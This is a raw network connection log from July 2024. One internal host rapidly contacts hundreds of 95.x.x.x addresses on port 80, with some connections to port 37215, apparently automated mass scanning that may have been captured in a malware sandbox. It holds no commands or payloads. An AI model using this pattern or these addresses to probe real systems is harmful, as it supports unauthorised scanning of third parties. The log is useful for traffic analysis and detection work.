Jul 20, 2024 23:00:56.826078892 CEST	36013	80	192.168.2.23	95.252.12.110
Jul 20, 2024 23:00:56.826078892 CEST	36013	80	192.168.2.23	95.99.217.247
Jul 20, 2024 23:00:56.826078892 CEST	36013	80	192.168.2.23	95.252.156.213
Jul 20, 2024 23:00:56.826095104 CEST	36013	80	192.168.2.23	95.219.149.118
Jul 20, 2024 23:00:56.826174021 CEST	36013	80	192.168.2.23	95.165.70.207
Jul 20, 2024 23:00:56.826184034 CEST	36013	80	192.168.2.23	95.196.149.234
Jul 20, 2024 23:00:56.826215029 CEST	36013	80	192.168.2.23	95.201.11.246
Jul 20, 2024 23:00:56.826289892 CEST	36013	80	192.168.2.23	95.7.126.9
Jul 20, 2024 23:00:56.826303959 CEST	36013	80	192.168.2.23	95.201.134.233
Jul 20, 2024 23:00:56.826323986 CEST	36013	80	192.168.2.23	95.209.48.241
Jul 20, 2024 23:00:56.826370001 CEST	36013	80	192.168.2.23	95.76.40.122
Jul 20, 2024 23:00:56.826401949 CEST	36013	80	192.168.2.23	95.46.159.102
Jul 20, 2024 23:00:56.826443911 CEST	36013	80	192.168.2.23	95.35.206.84
Jul 20, 2024 23:00:56.826443911 CEST	36013	80	192.168.2.23	95.26.239.30
Jul 20, 2024 23:00:56.826443911 CEST	36013	80	192.168.2.23	95.198.121.144
Jul 20, 2024 23:00:56.826445103 CEST	36013	80	192.168.2.23	95.25.207.130
Jul 20, 2024 23:00:56.826445103 CEST	36013	80	192.168.2.23	95.126.44.182
Jul 20, 2024 23:00:56.826445103 CEST	36013	80	192.168.2.23	95.238.142.235
Jul 20, 2024 23:00:56.826464891 CEST	36013	80	192.168.2.23	95.99.92.96
Jul 20, 2024 23:00:56.826483011 CEST	36013	80	192.168.2.23	95.124.40.79
Jul 20, 2024 23:00:56.826581955 CEST	36013	80	192.168.2.23	95.100.117.30
Jul 20, 2024 23:00:56.826581955 CEST	36013	80	192.168.2.23	95.239.94.125
Jul 20, 2024 23:00:56.826656103 CEST	36013	80	192.168.2.23	95.147.179.222
Jul 20, 2024 23:00:56.826656103 CEST	36013	80	192.168.2.23	95.133.246.17
Jul 20, 2024 23:00:56.826656103 CEST	36013	80	192.168.2.23	95.38.231.148
Jul 20, 2024 23:00:56.826828003 CEST	36013	80	192.168.2.23	95.115.19.229
Jul 20, 2024 23:00:56.826828003 CEST	36013	80	192.168.2.23	95.165.137.111
Jul 20, 2024 23:00:56.826828003 CEST	36013	80	192.168.2.23	95.166.31.104
Jul 20, 2024 23:00:56.826828003 CEST	36013	80	192.168.2.23	95.254.52.66
Jul 20, 2024 23:00:56.829117060 CEST	42510	37215	192.168.2.23	173.155.49.17
Jul 20, 2024 23:00:56.831574917 CEST	32848	2466	192.168.2.23	15.235.203.214
Jul 20, 2024 23:00:56.833996058 CEST	54222	37215	192.168.2.23	37.80.86.165
Jul 20, 2024 23:00:56.837641954 CEST	37215	45112	157.87.181.134	192.168.2.23
Jul 20, 2024 23:00:56.837660074 CEST	80	36013	95.59.86.189	192.168.2.23
Jul 20, 2024 23:00:56.837675095 CEST	80	36013	95.189.55.135	192.168.2.23
Jul 20, 2024 23:00:56.837696075 CEST	45112	37215	192.168.2.23	157.87.181.134
Jul 20, 2024 23:00:56.837696075 CEST	36013	80	192.168.2.23	95.59.86.189
Jul 20, 2024 23:00:56.837702036 CEST	80	36013	95.214.141.146	192.168.2.23
Jul 20, 2024 23:00:56.837713003 CEST	36013	80	192.168.2.23	95.189.55.135
Jul 20, 2024 23:00:56.837718010 CEST	80	36013	95.185.71.137	192.168.2.23
Jul 20, 2024 23:00:56.837733984 CEST	80	36013	95.196.201.154	192.168.2.23
Jul 20, 2024 23:00:56.837737083 CEST	36013	80	192.168.2.23	95.214.141.146
Jul 20, 2024 23:00:56.837737083 CEST	40282	37215	192.168.2.23	23.141.91.228
Jul 20, 2024 23:00:56.837785959 CEST	36013	80	192.168.2.23	95.196.201.154
Jul 20, 2024 23:00:56.837865114 CEST	36013	80	192.168.2.23	95.185.71.137
Jul 20, 2024 23:00:56.840941906 CEST	59050	37215	192.168.2.23	203.201.15.112
Jul 20, 2024 23:00:56.842391014 CEST	80	36013	95.217.159.98	192.168.2.23
Jul 20, 2024 23:00:56.842407942 CEST	80	36013	95.192.157.94	192.168.2.23
Jul 20, 2024 23:00:56.842423916 CEST	80	36013	95.68.157.63	192.168.2.23
Jul 20, 2024 23:00:56.842438936 CEST	80	36013	95.46.102.246	192.168.2.23
Jul 20, 2024 23:00:56.842454910 CEST	80	36013	95.178.161.141	192.168.2.23
Jul 20, 2024 23:00:56.842464924 CEST	36013	80	192.168.2.23	95.68.157.63
Jul 20, 2024 23:00:56.842469931 CEST	80	36013	95.75.139.53	192.168.2.23
Jul 20, 2024 23:00:56.842485905 CEST	80	36013	95.207.129.248	192.168.2.23
Jul 20, 2024 23:00:56.842488050 CEST	36013	80	192.168.2.23	95.178.161.141
Jul 20, 2024 23:00:56.842502117 CEST	80	36013	95.107.65.176	192.168.2.23
Jul 20, 2024 23:00:56.842524052 CEST	80	36013	95.126.84.163	192.168.2.23
Jul 20, 2024 23:00:56.842546940 CEST	80	36013	95.10.224.20	192.168.2.23
Jul 20, 2024 23:00:56.842564106 CEST	80	36013	95.141.23.135	192.168.2.23
Jul 20, 2024 23:00:56.842577934 CEST	80	36013	95.108.17.168	192.168.2.23
Jul 20, 2024 23:00:56.842575073 CEST	36013	80	192.168.2.23	95.217.159.98
Jul 20, 2024 23:00:56.842582941 CEST	36013	80	192.168.2.23	95.107.65.176
Jul 20, 2024 23:00:56.842575073 CEST	36013	80	192.168.2.23	95.46.102.246
Jul 20, 2024 23:00:56.842575073 CEST	36013	80	192.168.2.23	95.75.139.53
Jul 20, 2024 23:00:56.842586994 CEST	36013	80	192.168.2.23	95.10.224.20
Jul 20, 2024 23:00:56.842595100 CEST	80	36013	95.134.125.222	192.168.2.23
Jul 20, 2024 23:00:56.842605114 CEST	36013	80	192.168.2.23	95.141.23.135
Jul 20, 2024 23:00:56.842611074 CEST	80	36013	95.89.87.236	192.168.2.23
Jul 20, 2024 23:00:56.842619896 CEST	36013	80	192.168.2.23	95.108.17.168
Jul 20, 2024 23:00:56.842627048 CEST	80	36013	95.155.206.71	192.168.2.23
Jul 20, 2024 23:00:56.842627048 CEST	36013	80	192.168.2.23	95.134.125.222
Jul 20, 2024 23:00:56.842622995 CEST	36013	80	192.168.2.23	95.192.157.94
Jul 20, 2024 23:00:56.842642069 CEST	80	36013	95.213.244.176	192.168.2.23
Jul 20, 2024 23:00:56.842644930 CEST	36013	80	192.168.2.23	95.207.129.248
Jul 20, 2024 23:00:56.842644930 CEST	36013	80	192.168.2.23	95.126.84.163
Jul 20, 2024 23:00:56.842658043 CEST	80	36013	95.104.39.246	192.168.2.23
Jul 20, 2024 23:00:56.842665911 CEST	36013	80	192.168.2.23	95.155.206.71
Jul 20, 2024 23:00:56.842672110 CEST	80	36013	95.86.72.177	192.168.2.23
Jul 20, 2024 23:00:56.842685938 CEST	80	36013	95.133.15.246	192.168.2.23
Jul 20, 2024 23:00:56.842700958 CEST	36013	80	192.168.2.23	95.89.87.236
Jul 20, 2024 23:00:56.842700958 CEST	36013	80	192.168.2.23	95.213.244.176
Jul 20, 2024 23:00:56.842700958 CEST	80	36013	95.92.98.124	192.168.2.23
Jul 20, 2024 23:00:56.842715979 CEST	80	36013	95.177.159.0	192.168.2.23
Jul 20, 2024 23:00:56.842730045 CEST	80	36013	95.131.123.56	192.168.2.23
Jul 20, 2024 23:00:56.842756033 CEST	80	36013	95.76.9.54	192.168.2.23
Jul 20, 2024 23:00:56.842787027 CEST	80	36013	95.227.233.148	192.168.2.23
Jul 20, 2024 23:00:56.842803001 CEST	80	36013	95.235.240.159	192.168.2.23
Jul 20, 2024 23:00:56.842808962 CEST	36013	80	192.168.2.23	95.104.39.246
Jul 20, 2024 23:00:56.842808962 CEST	36013	80	192.168.2.23	95.86.72.177
Jul 20, 2024 23:00:56.842808962 CEST	36013	80	192.168.2.23	95.131.123.56
Jul 20, 2024 23:00:56.842818022 CEST	80	36013	95.246.148.147	192.168.2.23
Jul 20, 2024 23:00:56.842833042 CEST	80	36013	95.11.164.114	192.168.2.23
Jul 20, 2024 23:00:56.842845917 CEST	36013	80	192.168.2.23	95.246.148.147
Jul 20, 2024 23:00:56.842848063 CEST	80	36013	95.49.69.122	192.168.2.23
Jul 20, 2024 23:00:56.842863083 CEST	80	36013	95.148.223.148	192.168.2.23
Jul 20, 2024 23:00:56.842878103 CEST	80	36013	95.96.36.60	192.168.2.23
Jul 20, 2024 23:00:56.842892885 CEST	80	36013	95.117.81.18	192.168.2.23
Jul 20, 2024 23:00:56.842907906 CEST	80	36013	95.179.165.182	192.168.2.23
Jul 20, 2024 23:00:56.842922926 CEST	80	36013	95.174.195.64	192.168.2.23
Jul 20, 2024 23:00:56.842937946 CEST	80	36013	95.200.183.144	192.168.2.23
Jul 20, 2024 23:00:56.842952967 CEST	80	36013	95.132.176.28	192.168.2.23
Jul 20, 2024 23:00:56.842955112 CEST	36013	80	192.168.2.23	95.92.98.124
Jul 20, 2024 23:00:56.842955112 CEST	36013	80	192.168.2.23	95.11.164.114
Jul 20, 2024 23:00:56.842955112 CEST	36013	80	192.168.2.23	95.96.36.60
Jul 20, 2024 23:00:56.842968941 CEST	80	36013	95.87.71.175	192.168.2.23
Jul 20, 2024 23:00:56.842987061 CEST	80	36013	95.32.40.156	192.168.2.23
Jul 20, 2024 23:00:56.842988014 CEST	36013	80	192.168.2.23	95.132.176.28
Jul 20, 2024 23:00:56.842992067 CEST	36013	80	192.168.2.23	95.177.159.0
Jul 20, 2024 23:00:56.842992067 CEST	36013	80	192.168.2.23	95.76.9.54
Jul 20, 2024 23:00:56.842992067 CEST	36013	80	192.168.2.23	95.227.233.148
Jul 20, 2024 23:00:56.842992067 CEST	36013	80	192.168.2.23	95.174.195.64
Jul 20, 2024 23:00:56.843002081 CEST	80	36013	95.100.233.96	192.168.2.23
Jul 20, 2024 23:00:56.843017101 CEST	80	36013	95.238.229.87	192.168.2.23
Jul 20, 2024 23:00:56.843024015 CEST	36013	80	192.168.2.23	95.133.15.246
Jul 20, 2024 23:00:56.843024015 CEST	36013	80	192.168.2.23	95.49.69.122
Jul 20, 2024 23:00:56.843024015 CEST	36013	80	192.168.2.23	95.32.40.156
Jul 20, 2024 23:00:56.843033075 CEST	80	36013	95.18.137.97	192.168.2.23
Jul 20, 2024 23:00:56.843046904 CEST	80	36013	95.56.170.98	192.168.2.23
Jul 20, 2024 23:00:56.843061924 CEST	80	36013	95.39.92.55	192.168.2.23
Jul 20, 2024 23:00:56.843076944 CEST	80	36013	95.61.112.186	192.168.2.23
Jul 20, 2024 23:00:56.843091011 CEST	80	36013	95.12.253.219	192.168.2.23
Jul 20, 2024 23:00:56.843106031 CEST	80	36013	95.55.126.63	192.168.2.23
Jul 20, 2024 23:00:56.843122959 CEST	80	36013	95.15.182.248	192.168.2.23
Jul 20, 2024 23:00:56.843139887 CEST	80	36013	95.166.179.151	192.168.2.23
Jul 20, 2024 23:00:56.843154907 CEST	80	36013	95.137.181.234	192.168.2.23
Jul 20, 2024 23:00:56.843169928 CEST	80	36013	95.42.35.15	192.168.2.23
Jul 20, 2024 23:00:56.843184948 CEST	80	36013	95.155.205.196	192.168.2.23
Jul 20, 2024 23:00:56.843183994 CEST	36013	80	192.168.2.23	95.87.71.175
Jul 20, 2024 23:00:56.843183994 CEST	36013	80	192.168.2.23	95.56.170.98
Jul 20, 2024 23:00:56.843183994 CEST	36013	80	192.168.2.23	95.61.112.186
Jul 20, 2024 23:00:56.843199968 CEST	80	36013	95.82.47.2	192.168.2.23
Jul 20, 2024 23:00:56.843214989 CEST	80	36013	95.176.118.50	192.168.2.23
Jul 20, 2024 23:00:56.843230963 CEST	80	36013	95.149.175.159	192.168.2.23
Jul 20, 2024 23:00:56.843244076 CEST	36013	80	192.168.2.23	95.18.137.97
Jul 20, 2024 23:00:56.843244076 CEST	36013	80	192.168.2.23	95.176.118.50
Jul 20, 2024 23:00:56.843245983 CEST	80	36013	95.20.209.101	192.168.2.23
Jul 20, 2024 23:00:56.843261003 CEST	80	36013	95.68.92.35	192.168.2.23
Jul 20, 2024 23:00:56.843276024 CEST	80	36013	95.4.255.22	192.168.2.23
Jul 20, 2024 23:00:56.843291044 CEST	80	36013	95.214.6.64	192.168.2.23
Jul 20, 2024 23:00:56.843306065 CEST	80	36013	95.50.6.126	192.168.2.23
Jul 20, 2024 23:00:56.843314886 CEST	36013	80	192.168.2.23	95.148.223.148
Jul 20, 2024 23:00:56.843314886 CEST	36013	80	192.168.2.23	95.117.81.18
Jul 20, 2024 23:00:56.843314886 CEST	36013	80	192.168.2.23	95.166.179.151
Jul 20, 2024 23:00:56.843314886 CEST	36013	80	192.168.2.23	95.149.175.159
Jul 20, 2024 23:00:56.843319893 CEST	80	36013	95.4.110.24	192.168.2.23
Jul 20, 2024 23:00:56.843334913 CEST	80	36013	95.148.55.77	192.168.2.23
Jul 20, 2024 23:00:56.843347073 CEST	36013	80	192.168.2.23	95.235.240.159
Jul 20, 2024 23:00:56.843347073 CEST	36013	80	192.168.2.23	95.39.92.55
Jul 20, 2024 23:00:56.843347073 CEST	36013	80	192.168.2.23	95.15.182.248
Jul 20, 2024 23:00:56.843349934 CEST	80	36013	95.110.106.28	192.168.2.23
Jul 20, 2024 23:00:56.843360901 CEST	36013	80	192.168.2.23	95.238.229.87
Jul 20, 2024 23:00:56.843360901 CEST	36013	80	192.168.2.23	95.55.126.63
Jul 20, 2024 23:00:56.843365908 CEST	80	36013	95.90.146.130	192.168.2.23
Jul 20, 2024 23:00:56.843383074 CEST	80	36013	95.105.202.199	192.168.2.23
Jul 20, 2024 23:00:56.843396902 CEST	80	36013	95.125.106.124	192.168.2.23
Jul 20, 2024 23:00:56.843411922 CEST	80	36013	95.100.76.65	192.168.2.23
Jul 20, 2024 23:00:56.843425989 CEST	80	36013	95.38.130.105	192.168.2.23
Jul 20, 2024 23:00:56.843441010 CEST	80	36013	95.64.240.142	192.168.2.23
Jul 20, 2024 23:00:56.843456030 CEST	80	36013	95.25.17.113	192.168.2.23
Jul 20, 2024 23:00:56.843472958 CEST	80	36013	95.182.227.121	192.168.2.23
Jul 20, 2024 23:00:56.843488932 CEST	80	36013	95.154.246.151	192.168.2.23
Jul 20, 2024 23:00:56.843503952 CEST	80	36013	95.103.108.172	192.168.2.23
Jul 20, 2024 23:00:56.843518972 CEST	80	36013	95.165.91.75	192.168.2.23
Jul 20, 2024 23:00:56.843533993 CEST	80	36013	95.204.123.79	192.168.2.23
Jul 20, 2024 23:00:56.843548059 CEST	80	36013	95.1.158.108	192.168.2.23
Jul 20, 2024 23:00:56.843564034 CEST	80	36013	95.37.239.41	192.168.2.23
Jul 20, 2024 23:00:56.843579054 CEST	80	36013	95.94.150.174	192.168.2.23
Jul 20, 2024 23:00:56.843589067 CEST	36013	80	192.168.2.23	95.12.253.219
Jul 20, 2024 23:00:56.843589067 CEST	36013	80	192.168.2.23	95.155.205.196
Jul 20, 2024 23:00:56.843589067 CEST	36013	80	192.168.2.23	95.20.209.101
Jul 20, 2024 23:00:56.843589067 CEST	36013	80	192.168.2.23	95.105.202.199
Jul 20, 2024 23:00:56.843589067 CEST	36013	80	192.168.2.23	95.1.158.108
Jul 20, 2024 23:00:56.843610048 CEST	80	36013	95.68.203.115	192.168.2.23
Jul 20, 2024 23:00:56.843626022 CEST	80	36013	95.250.73.136	192.168.2.23
Jul 20, 2024 23:00:56.843626976 CEST	36013	80	192.168.2.23	95.100.233.96
Jul 20, 2024 23:00:56.843626976 CEST	36013	80	192.168.2.23	95.137.181.234
Jul 20, 2024 23:00:56.843626976 CEST	36013	80	192.168.2.23	95.82.47.2
Jul 20, 2024 23:00:56.843626976 CEST	36013	80	192.168.2.23	95.50.6.126
Jul 20, 2024 23:00:56.843626976 CEST	36013	80	192.168.2.23	95.38.130.105
Jul 20, 2024 23:00:56.843626976 CEST	36013	80	192.168.2.23	95.204.123.79
Jul 20, 2024 23:00:56.843641043 CEST	80	36013	95.68.3.19	192.168.2.23
Jul 20, 2024 23:00:56.843651056 CEST	36013	80	192.168.2.23	95.68.92.35
Jul 20, 2024 23:00:56.843651056 CEST	36013	80	192.168.2.23	95.4.255.22
Jul 20, 2024 23:00:56.843651056 CEST	36013	80	192.168.2.23	95.125.106.124
Jul 20, 2024 23:00:56.843656063 CEST	80	36013	95.237.241.221	192.168.2.23
Jul 20, 2024 23:00:56.843671083 CEST	80	36013	95.37.178.207	192.168.2.23
Jul 20, 2024 23:00:56.843977928 CEST	36013	80	192.168.2.23	95.64.240.142
Jul 20, 2024 23:00:56.843977928 CEST	36013	80	192.168.2.23	95.103.108.172
Jul 20, 2024 23:00:56.844181061 CEST	36013	80	192.168.2.23	95.68.203.115
Jul 20, 2024 23:00:56.844235897 CEST	36013	80	192.168.2.23	95.4.110.24
Jul 20, 2024 23:00:56.844237089 CEST	36013	80	192.168.2.23	95.110.106.28
Jul 20, 2024 23:00:56.844237089 CEST	36013	80	192.168.2.23	95.100.76.65
Jul 20, 2024 23:00:56.844237089 CEST	36013	80	192.168.2.23	95.182.227.121
Jul 20, 2024 23:00:56.844237089 CEST	36013	80	192.168.2.23	95.68.3.19
Jul 20, 2024 23:00:56.844347000 CEST	36013	80	192.168.2.23	95.148.55.77
Jul 20, 2024 23:00:56.844347000 CEST	36013	80	192.168.2.23	95.25.17.113
Jul 20, 2024 23:00:56.844347000 CEST	36013	80	192.168.2.23	95.154.246.151
Jul 20, 2024 23:00:56.844347000 CEST	36013	80	192.168.2.23	95.37.239.41
Jul 20, 2024 23:00:56.844347000 CEST	36013	80	192.168.2.23	95.250.73.136
Jul 20, 2024 23:00:56.844413042 CEST	36013	80	192.168.2.23	95.94.150.174
Jul 20, 2024 23:00:56.844413042 CEST	36013	80	192.168.2.23	95.237.241.221
Jul 20, 2024 23:00:56.844556093 CEST	36013	80	192.168.2.23	95.37.178.207
Jul 20, 2024 23:00:56.844805956 CEST	36013	80	192.168.2.23	95.179.165.182
Jul 20, 2024 23:00:56.844805956 CEST	36013	80	192.168.2.23	95.200.183.144
Jul 20, 2024 23:00:56.844805956 CEST	36013	80	192.168.2.23	95.42.35.15
Jul 20, 2024 23:00:56.844805956 CEST	36013	80	192.168.2.23	95.214.6.64
Jul 20, 2024 23:00:56.844806910 CEST	36013	80	192.168.2.23	95.90.146.130
Jul 20, 2024 23:00:56.844806910 CEST	36013	80	192.168.2.23	95.165.91.75
Jul 20, 2024 23:00:56.845267057 CEST	53130	37215	192.168.2.23	157.110.226.143
Jul 20, 2024 23:00:56.847100973 CEST	80	36013	95.193.204.219	192.168.2.23
Jul 20, 2024 23:00:56.847120047 CEST	80	36013	95.73.152.108	192.168.2.23
Jul 20, 2024 23:00:56.847136974 CEST	80	36013	95.134.194.173	192.168.2.23
Jul 20, 2024 23:00:56.847147942 CEST	36013	80	192.168.2.23	95.193.204.219
Jul 20, 2024 23:00:56.847152948 CEST	80	36013	95.205.21.99	192.168.2.23
Jul 20, 2024 23:00:56.847163916 CEST	36013	80	192.168.2.23	95.73.152.108
Jul 20, 2024 23:00:56.847167969 CEST	80	36013	95.28.242.0	192.168.2.23
Jul 20, 2024 23:00:56.847172022 CEST	36013	80	192.168.2.23	95.134.194.173
Jul 20, 2024 23:00:56.847182989 CEST	80	36013	95.229.29.233	192.168.2.23
Jul 20, 2024 23:00:56.847198009 CEST	80	36013	95.128.146.109	192.168.2.23
Jul 20, 2024 23:00:56.847213030 CEST	80	36013	95.160.105.169	192.168.2.23
Jul 20, 2024 23:00:56.847229004 CEST	37215	33462	41.107.86.189	192.168.2.23
Jul 20, 2024 23:00:56.847244024 CEST	80	36013	95.227.123.21	192.168.2.23
Jul 20, 2024 23:00:56.847250938 CEST	36013	80	192.168.2.23	95.160.105.169
Jul 20, 2024 23:00:56.847259045 CEST	80	36013	95.65.81.21	192.168.2.23
Jul 20, 2024 23:00:56.847261906 CEST	33462	37215	192.168.2.23	41.107.86.189
Jul 20, 2024 23:00:56.847268105 CEST	36013	80	192.168.2.23	95.128.146.109
Jul 20, 2024 23:00:56.847268105 CEST	36013	80	192.168.2.23	95.227.123.21
Jul 20, 2024 23:00:56.847275019 CEST	80	36013	95.91.106.210	192.168.2.23
Jul 20, 2024 23:00:56.847290039 CEST	36013	80	192.168.2.23	95.65.81.21
Jul 20, 2024 23:00:56.847290039 CEST	80	36013	95.133.110.1	192.168.2.23
Jul 20, 2024 23:00:56.847306967 CEST	80	36013	95.54.3.130	192.168.2.23
Jul 20, 2024 23:00:56.847321033 CEST	36013	80	192.168.2.23	95.133.110.1
Jul 20, 2024 23:00:56.847322941 CEST	80	36013	95.122.162.208	192.168.2.23
Jul 20, 2024 23:00:56.847332954 CEST	36013	80	192.168.2.23	95.205.21.99
Jul 20, 2024 23:00:56.847340107 CEST	36013	80	192.168.2.23	95.54.3.130
Jul 20, 2024 23:00:56.847338915 CEST	80	36013	95.184.170.252	192.168.2.23
Jul 20, 2024 23:00:56.847333908 CEST	36013	80	192.168.2.23	95.28.242.0
Jul 20, 2024 23:00:56.847332954 CEST	36013	80	192.168.2.23	95.229.29.233
Jul 20, 2024 23:00:56.847333908 CEST	36013	80	192.168.2.23	95.91.106.210
Jul 20, 2024 23:00:56.847359896 CEST	80	36013	95.127.185.186	192.168.2.23
Jul 20, 2024 23:00:56.847363949 CEST	36013	80	192.168.2.23	95.122.162.208
Jul 20, 2024 23:00:56.847376108 CEST	80	36013	95.59.175.184	192.168.2.23
Jul 20, 2024 23:00:56.847392082 CEST	80	36013	95.69.165.41	192.168.2.23
Jul 20, 2024 23:00:56.847393990 CEST	36013	80	192.168.2.23	95.127.185.186
Jul 20, 2024 23:00:56.847405910 CEST	36013	80	192.168.2.23	95.59.175.184
Jul 20, 2024 23:00:56.847407103 CEST	80	36013	95.205.152.57	192.168.2.23
Jul 20, 2024 23:00:56.847423077 CEST	80	36013	95.21.150.142	192.168.2.23
Jul 20, 2024 23:00:56.847425938 CEST	36013	80	192.168.2.23	95.69.165.41
Jul 20, 2024 23:00:56.847439051 CEST	36013	80	192.168.2.23	95.205.152.57
Jul 20, 2024 23:00:56.847441912 CEST	80	36013	95.109.105.90	192.168.2.23
Jul 20, 2024 23:00:56.847456932 CEST	80	36013	95.44.187.110	192.168.2.23
Jul 20, 2024 23:00:56.847479105 CEST	36013	80	192.168.2.23	95.109.105.90
Jul 20, 2024 23:00:56.847517967 CEST	36013	80	192.168.2.23	95.184.170.252
Jul 20, 2024 23:00:56.847517967 CEST	36013	80	192.168.2.23	95.44.187.110
Jul 20, 2024 23:00:56.847524881 CEST	36013	80	192.168.2.23	95.21.150.142
Jul 20, 2024 23:00:56.847587109 CEST	80	36013	95.42.53.143	192.168.2.23
Jul 20, 2024 23:00:56.847649097 CEST	80	36013	95.132.164.148	192.168.2.23
Jul 20, 2024 23:00:56.847661972 CEST	36013	80	192.168.2.23	95.42.53.143
Jul 20, 2024 23:00:56.847664118 CEST	80	36013	95.171.131.9	192.168.2.23
Jul 20, 2024 23:00:56.847681046 CEST	80	36013	95.124.96.8	192.168.2.23
Jul 20, 2024 23:00:56.847687006 CEST	36013	80	192.168.2.23	95.132.164.148
Jul 20, 2024 23:00:56.847696066 CEST	80	36013	95.70.236.102	192.168.2.23
Jul 20, 2024 23:00:56.847713947 CEST	36013	80	192.168.2.23	95.124.96.8
Jul 20, 2024 23:00:56.847719908 CEST	36013	80	192.168.2.23	95.171.131.9
Jul 20, 2024 23:00:56.847733021 CEST	36013	80	192.168.2.23	95.70.236.102
Jul 20, 2024 23:00:56.847755909 CEST	80	36013	95.137.195.55	192.168.2.23
Jul 20, 2024 23:00:56.847770929 CEST	80	36013	95.149.97.85	192.168.2.23
Jul 20, 2024 23:00:56.847785950 CEST	80	36013	95.167.7.99	192.168.2.23
Jul 20, 2024 23:00:56.847800970 CEST	36013	80	192.168.2.23	95.137.195.55
Jul 20, 2024 23:00:56.847800970 CEST	36013	80	192.168.2.23	95.149.97.85
Jul 20, 2024 23:00:56.847801924 CEST	80	36013	95.46.238.179	192.168.2.23
Jul 20, 2024 23:00:56.847826004 CEST	80	36013	95.164.166.15	192.168.2.23
Jul 20, 2024 23:00:56.847850084 CEST	36013	80	192.168.2.23	95.46.238.179
Jul 20, 2024 23:00:56.847882986 CEST	80	36013	95.76.34.242	192.168.2.23
Jul 20, 2024 23:00:56.847898006 CEST	80	36013	95.133.61.178	192.168.2.23
Jul 20, 2024 23:00:56.847913980 CEST	80	36013	95.98.27.57	192.168.2.23
Jul 20, 2024 23:00:56.847918987 CEST	36013	80	192.168.2.23	95.76.34.242
Jul 20, 2024 23:00:56.847929955 CEST	36013	80	192.168.2.23	95.133.61.178
Jul 20, 2024 23:00:56.847929955 CEST	80	36013	95.82.60.64	192.168.2.23
Jul 20, 2024 23:00:56.847948074 CEST	36013	80	192.168.2.23	95.98.27.57
Jul 20, 2024 23:00:56.847951889 CEST	80	36013	95.88.146.191	192.168.2.23
Jul 20, 2024 23:00:56.847965956 CEST	36013	80	192.168.2.23	95.82.60.64
Jul 20, 2024 23:00:56.847966909 CEST	36013	80	192.168.2.23	95.167.7.99
Jul 20, 2024 23:00:56.847975016 CEST	80	36013	95.29.141.2	192.168.2.23
Jul 20, 2024 23:00:56.847981930 CEST	36013	80	192.168.2.23	95.88.146.191
Jul 20, 2024 23:00:56.847990990 CEST	80	36013	95.60.228.38	192.168.2.23
Jul 20, 2024 23:00:56.848006964 CEST	80	36013	95.133.191.173	192.168.2.23
Jul 20, 2024 23:00:56.848010063 CEST	36013	80	192.168.2.23	95.29.141.2
Jul 20, 2024 23:00:56.848022938 CEST	80	36013	95.5.108.251	192.168.2.23
Jul 20, 2024 23:00:56.848038912 CEST	80	36013	95.219.149.118	192.168.2.23
Jul 20, 2024 23:00:56.848047018 CEST	36013	80	192.168.2.23	95.164.166.15
Jul 20, 2024 23:00:56.848053932 CEST	80	36013	95.152.9.21	192.168.2.23
Jul 20, 2024 23:00:56.848047018 CEST	36013	80	192.168.2.23	95.60.228.38
Jul 20, 2024 23:00:56.848058939 CEST	36013	80	192.168.2.23	95.5.108.251
Jul 20, 2024 23:00:56.848066092 CEST	36013	80	192.168.2.23	95.133.191.173
Jul 20, 2024 23:00:56.848071098 CEST	80	36013	95.97.27.64	192.168.2.23
Jul 20, 2024 23:00:56.848087072 CEST	80	36013	95.165.70.207	192.168.2.23
Jul 20, 2024 23:00:56.848088026 CEST	36013	80	192.168.2.23	95.152.9.21
Jul 20, 2024 23:00:56.848087072 CEST	36013	80	192.168.2.23	95.219.149.118
Jul 20, 2024 23:00:56.848115921 CEST	36013	80	192.168.2.23	95.97.27.64
Jul 20, 2024 23:00:56.848117113 CEST	80	36013	95.216.232.233	192.168.2.23
Jul 20, 2024 23:00:56.848135948 CEST	80	36013	95.201.11.246	192.168.2.23
Jul 20, 2024 23:00:56.848153114 CEST	80	36013	95.7.126.9	192.168.2.23
Jul 20, 2024 23:00:56.848154068 CEST	36013	80	192.168.2.23	95.216.232.233
Jul 20, 2024 23:00:56.848169088 CEST	80	36013	95.34.110.227	192.168.2.23
Jul 20, 2024 23:00:56.848180056 CEST	36013	80	192.168.2.23	95.201.11.246
Jul 20, 2024 23:00:56.848182917 CEST	36013	80	192.168.2.23	95.7.126.9
Jul 20, 2024 23:00:56.848184109 CEST	80	36013	95.46.159.102	192.168.2.23
Jul 20, 2024 23:00:56.848201036 CEST	80	36013	95.76.40.122	192.168.2.23
Jul 20, 2024 23:00:56.848202944 CEST	36013	80	192.168.2.23	95.165.70.207
Jul 20, 2024 23:00:56.848216057 CEST	80	36013	95.201.134.233	192.168.2.23
Jul 20, 2024 23:00:56.848226070 CEST	36013	80	192.168.2.23	95.34.110.227
Jul 20, 2024 23:00:56.848227024 CEST	36013	80	192.168.2.23	95.46.159.102
Jul 20, 2024 23:00:56.848231077 CEST	80	36013	95.124.40.79	192.168.2.23
Jul 20, 2024 23:00:56.848246098 CEST	80	36013	95.35.206.84	192.168.2.23
Jul 20, 2024 23:00:56.848258972 CEST	36013	80	192.168.2.23	95.76.40.122
Jul 20, 2024 23:00:56.848262072 CEST	80	36013	95.209.48.241	192.168.2.23
Jul 20, 2024 23:00:56.848268986 CEST	36013	80	192.168.2.23	95.124.40.79
Jul 20, 2024 23:00:56.848278999 CEST	80	36013	95.99.92.96	192.168.2.23
Jul 20, 2024 23:00:56.848290920 CEST	36013	80	192.168.2.23	95.201.134.233
Jul 20, 2024 23:00:56.848294973 CEST	80	36013	95.252.12.110	192.168.2.23
Jul 20, 2024 23:00:56.848299980 CEST	36013	80	192.168.2.23	95.209.48.241
Jul 20, 2024 23:00:56.848309994 CEST	36013	80	192.168.2.23	95.99.92.96
Jul 20, 2024 23:00:56.848310947 CEST	80	36013	95.100.117.30	192.168.2.23
Jul 20, 2024 23:00:56.848326921 CEST	36013	80	192.168.2.23	95.252.12.110
Jul 20, 2024 23:00:56.848328114 CEST	80	36013	95.99.217.247	192.168.2.23
Jul 20, 2024 23:00:56.848342896 CEST	80	36013	95.147.179.222	192.168.2.23
Jul 20, 2024 23:00:56.848347902 CEST	36013	80	192.168.2.23	95.100.117.30
Jul 20, 2024 23:00:56.848359108 CEST	80	36013	95.252.156.213	192.168.2.23
Jul 20, 2024 23:00:56.848373890 CEST	80	36013	95.239.94.125	192.168.2.23
Jul 20, 2024 23:00:56.848375082 CEST	36013	80	192.168.2.23	95.147.179.222
Jul 20, 2024 23:00:56.848375082 CEST	36013	80	192.168.2.23	95.35.206.84
Jul 20, 2024 23:00:56.848381042 CEST	36013	80	192.168.2.23	95.99.217.247
